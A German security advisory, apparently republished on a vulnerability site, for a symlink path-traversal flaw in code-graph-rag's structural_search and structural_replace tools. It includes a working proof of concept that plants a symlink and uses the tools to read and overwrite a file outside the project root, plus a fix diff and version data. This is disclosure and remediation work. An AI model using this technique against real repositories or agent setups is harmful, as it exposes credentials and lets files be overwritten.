Hoch

Code Graph RAG: Strukturelle Werkzeuge folgen symbolischen Links außerhalb der Root

  • Veröffentlicht: 09.11.2026
  • Aktualisiert: 11.11.2026 10:00

Ein entfernter oder lokaler Angreifer, der einen symbolischen Link in ein von code-graph-rag analysiertes Quellcode-Repository einfügen kann, kann die Werkzeuge structural_search und structural_replace (unterstützt von AstGrepService, bereitgestellt sowohl als MCP-Tools als auch als agentenbasierte KI-Tools) dazu veranlassen, beliebige Dateien außerhalb des konfigurierten Projektstamms zu lesen und – über structural_replace mit dry_run=False – zu überschreiben. Dies ist möglich, da die Pfadüberprüfung des Werkzeugs (should_skip_path/_classify_file) lediglich lexikalisch auf dem nicht aufgelösten Pfad durchgeführt wird und niemals Path.is_symlink() prüft oder .resolve() aufruft, anders als der (korrekte) projekteigene validate_project_path-Dekorator, der an anderer Stelle verwendet wird.

Getestet wurde dies bei Commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (pyproject-Version 0.0.550), dem aktuellen main zum Testzeitpunkt. Es wurde bestätigt, dass dieser Commit bereits den Fix für den vorherigen Sicherheitshinweis (GHSA-vvr2-h2jp-838m: paginierte read_file-Pfadüberquerung) und das neuere HTTP-MCP-Bearer-Auth-Gate (_validate_http_exposure in codebase_rag/mcp/server.py) enthält. Es handelt sich um ein eigenständiges, weiterhin offenes Problem zusätzlich zu diesen Korrekturen, in einer anderen Komponente mit einer anderen Ursache und schwerwiegenderen Auswirkungen (Schreiben, nicht nur Lesen).

Details

AstGrepService (codebase_rag/tools/ast_grep_service.py) unterstützt sowohl die structural_search- als auch die structural_replace-MCP-/Agenten-Tools. Es zählt Kandidatendateien mit os.walk() auf und sichert jeden Pfad nur über should_skip_path() ab:

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files) – durchläuft self.project_root mit os.walk(); jeder zurückgegebene Eintrag, der kein Verzeichnis ist (einschließlich eines Symlinks, der auf eine beliebige Stelle auf der Festplatte verweist), wird als relevante Datei behandelt.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file) – die einzige Containment-Prüfung ist should_skip_path(...), gefolgt von abs_path.relative_to(self.project_root) (Zeile 82); abs_path wird nie aufgelöst, sodass diese Prüfung rein lexikalisch bzw. zeichenkettenbasiert ist.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) und codebase_rag/utils/path_utils.py:35-37 (cached_relative_path) – berechnet rel_path = file_path.relative_to(repo_path), ohne jemals .resolve() oder Path.is_symlink() aufzurufen.
  • Lese-Senke: codebase_rag/tools/ast_grep_service.py:143-144 (search) – source = self._read(abs_path) ruft path.read_text() auf, dem Python über den Symlink zu seinem realen Ziel folgt.
  • Schreib-Senke: codebase_rag/tools/ast_grep_service.py:187-208 (replace), Zeile 208 – abs_path.write_text(new_source, ...), wenn dry_run=False, folgt erneut dem Symlink und überschreibt den Inhalt der tatsächlichen Zieldatei.

Dies widerspricht der Vorgehensweise im restlichen Codebestand für dieselbe Risikoklasse. Die Datei-Lese-/Schreib-/Bearbeitungswerkzeuge (file_reader.py, file_writer.py, file_editor.py) sind alle durch validate_project_path (codebase_rag/decorators.py:73-75) geschützt:

python
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() folgt Symlinks, bevor die Containment-Prüfung ausgeführt wird, sodass diese Werkzeuge Ziele außerhalb des Stammpfads korrekt ablehnen. Die eigene Funktion absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176) von path_utils.py dokumentiert dasselbe Prinzip explizit in ihrem Docstring: "The resolve() calls are load-bearing: containment is checked lexically, so an unresolved .. segment or symlink would escape the root." – jedoch wendet should_skip_path()/AstGrepService dieses Muster niemals an.

Erreichbarkeit: structural_search (codebase_rag/tools/structural_search.py:24-46) besitzt keinerlei requires_approval-Flag – im KI-Orchestrator-Modus kann das Modell die Funktion autonom ohne menschliche Bestätigung aufrufen. structural_replace (codebase_rag/tools/structural_editor.py:52-57) ist als requires_approval=True gekennzeichnet, aber dieses Flag wird nur von der eigenen Agentenschleife von pydantic-ai erzwungen – der MCP-Server-Pfad umgeht dies vollständig: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) ruft self._structural_editor_tool.function(...) direkt auf, registriert ohne jegliches Genehmigungskonzept in codebase_rag/mcp/tools.py:369-388. Jeder MCP-Client, der Werkzeuge aufrufen kann, kann structural_replace mit dry_run=False in einem einzigen Aufruf ausführen.

Proof of Concept

Dynamisch gegen das installierte Paket bestätigt (mgclient/pymgclient gemockt, wie im PoC des vorherigen Hinweises, da der native Memgraph-Client für diesen Codepfad nicht erforderlich ist).

bash
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
python
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

Tatsächliche Ausgabe des Testlaufs:

python
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

Auswirkungen

Jeder Betreiber, der cgr (CLI, agentischer ask_agent-Modus oder die MCP-Tools structural_search/structural_replace) auf ein nicht vollständig geprüftes Repository anwendet – genau der vorgesehene Anwendungszweck dieses Tools ("query, understand, and edit multi-language codebases") –, riskiert, dass ein platziertes Symlink für Folgendes ausgenutzt wird:

  • Offenlegung des Inhalts jeder Datei, die vom cgr-Prozess gelesen werden kann (Anmeldedaten, SSH-Schlüssel, .env-Dateien, Quellcode benachbarter Projekte), über structural_search, ganz ohne Genehmigungsschranke.
  • Überschreiben des Inhalts jeder Datei, die vom cgr-Prozess beschrieben werden kann, über structural_replace(dry_run=False), wodurch bei Aufrufen über das MCP-Protokoll die interne Genehmigungsschranke des Werkzeugs umgangen wird.

Danksagung: Dostxodjayev Abdullox (GitHub: squeeze440)

Was zu tun ist

Wenden Sie dasselbe Resolve-then-Contain-Muster, das bereits von validate_project_path (codebase_rag/decorators.py:73-75) und absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) verwendet wird, auf should_skip_path an. Weisen Sie jeden Pfad ab, dessen aufgelöster Speicherort (nach Verfolgen von Symlinks) den aufgelösten Projektstamm verlässt:

diff
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

Konkret behebt diese eine Änderung in should_skip_path sowohl _classify_file (Suche) als auch die Filterung von os.walk in _iter_source_files (Ersetzen), da beide darüber geroutet werden. Als Defense-in-Depth-Maßnahme könnte _iter_source_files symverlinkte Verzeichniseinträge während os.walk direkt überspringen (entry.is_symlink()).

Ein Update auf Version 0.0.587 oder höher wird empfohlen.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) code-graph-rag < 0.0.587 0.0.587

Verweise

CVSS-Wert 7.1/10
CVSS-Vektor
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Schwäche (CWE)
CWE-22, CWE-59
Plattform
Python (PyPI)
Paket
code-graph-rag
Veröffentlicht
09.11.2026
Aktualisiert
11.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-85gg-2gfq-q95m - CC BY 4.0

Schwachstellenhistorie: code-graph-rag

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
2
Erste → letzte
11.2026 11.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 2

Veröffentlichungen pro Jahr

  1. 2026: 2
  1. Code Graph RAG: Strukturelle Werkzeuge folgen symbolischen Links außerhalb der Root dieser Eintrag
    Hoch · 7.1 CVE-2026-87008 < 0.0.587 0.0.587

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.